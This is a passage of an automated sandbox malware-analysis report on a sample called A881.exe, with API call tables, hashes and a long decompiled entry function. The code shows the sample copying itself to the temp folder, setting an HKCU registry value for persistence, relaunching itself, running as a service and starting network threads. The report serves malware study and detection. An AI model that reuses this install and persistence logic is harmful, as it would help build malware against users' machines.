0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(008993E8,?,?,004061B1,?,008993E8,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,008993E8,008993E8,?,004061B1,?,008993E8), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s
API String ID: 1799455324-3252725368
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: A881.exe PID: 7004 Parent PID: 3352 A881.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

", xrefs: 0040A189
%X%08X, xrefs: 0040A0B0
D, xrefs: 00409F8E
Mt, xrefs: 00409AB3, 00409FAD, 0040A174
0t, xrefs: 0040A491
\, xrefs: 00409D0C
P, xrefs: 00409DAA
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
", xrefs: 00409EDB
", xrefs: 0040A078

